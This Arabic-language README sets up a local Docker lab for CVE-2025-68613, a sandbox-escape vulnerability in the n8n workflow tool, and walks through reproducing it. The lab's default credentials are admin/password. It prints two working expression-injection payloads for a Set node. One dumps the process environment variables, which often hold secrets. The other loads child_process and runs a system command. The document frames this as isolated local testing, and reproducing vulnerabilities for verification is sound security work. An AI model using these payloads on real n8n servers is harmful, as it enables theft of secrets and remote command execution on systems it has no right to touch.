CVE-2025-68613 مختبر n8n المحلي

يوفر هذا المستودع إعدادًا بسيطًا لـ Docker Compose يقوم بتشغيل مثيل n8n ضعيف للاختبار المحلي لـ CVE-2025-68613.

المتطلبات

• Docker Desktop أو Docker Engine
• Docker Compose v2

بدء سريع

1. تشغيل الحاوية:

   docker compose up -d
   

2. افتح n8n في متصفحك:

   • http://localhost:5678

3. سجل الدخول باستخدام بيانات الاعتماد الافتراضية المحددة في docker-compose.yml:

   • اسم المستخدم: admin
   • كلمة المرور: password

الإيقاف والتنظيف

docker compose down

إخلاء المسؤولية والسلامة

هذه البيئة مخصصة للاختبار المحلي المعزول فقط. لا تعرض هذا المثيل للإنترنت العام أو أي شبكة غير موثوقة. احتفظ به في قطاع شبكة خاص محلي فقط ومنفصل عن أنظمة الإنتاج. استخدمه على مسؤوليتك الخاصة.

التحقق من الثغرة الأمنية (إثبات المفهوم)

بمجرد تشغيل الحاوية، يمكنك الوصول إلى واجهة n8n على http://localhost:5678. لاختبار الثغرة الأمنية، ستقوم بحقن حمولة JavaScript ضارة في حقل تعبير.

خطوات إعادة الإنتاج:

1. تسجيل الدخول: الوصول إلى لوحة التحكم (إذا قمت بإعداد المصادقة الأساسية، استخدم بيانات الاعتماد المقدمة؛ وإلا، قم بإنشاء حساب مالك جديد).
2. إنشاء سير عمل: انقر على "إضافة سير عمل" أو انتقل إلى https://n8n.example.com/workflow/new.
3. إضافة عقدة: أضف عقدة "Set".
4. حقن الحمولة: في حقل "القيمة" لعقدة Set (تأكد من تفعيل وضع "التعبير" إذا كان متاحًا، أو ببساطة الصق الصيغة التي يفسرها n8n كتعبير)، أدخل إحدى الحمولات التالية:

اختبار 1: تسريب متغيرات البيئة تحاول هذه الحمولة الوصول إلى متغيرات بيئة العملية، والتي غالبًا ما تحتوي على أسرار.

{{ (function() { return this.process.env; })() }}

اختبار 2: تنفيذ الأوامر عن بعد (RCE) تحاول هذه الحمولة تحميل وحدة child_process لتشغيل أوامر النظام (على سبيل المثال، whoami).

{{ (function() {
    var require = this.process.mainModule.require;
    var execSync = require('child_process').execSync;
    return execSync('whoami').toString();
})() }}

النتيجة المتوقعة: إذا كانت البيئة ضعيفة، ستعرض لوحة "الإخراج" لعقدة Set نتيجة الأمر (مثل root أو مستخدم n8n) أو كائن JSON يحتوي على متغيرات البيئة. إذا تم تصحيح المثيل (على سبيل المثال، الإصدار 1.122.0+)، فسيعيد الصندوق الرملي كائنًا فارغًا أو خطأ.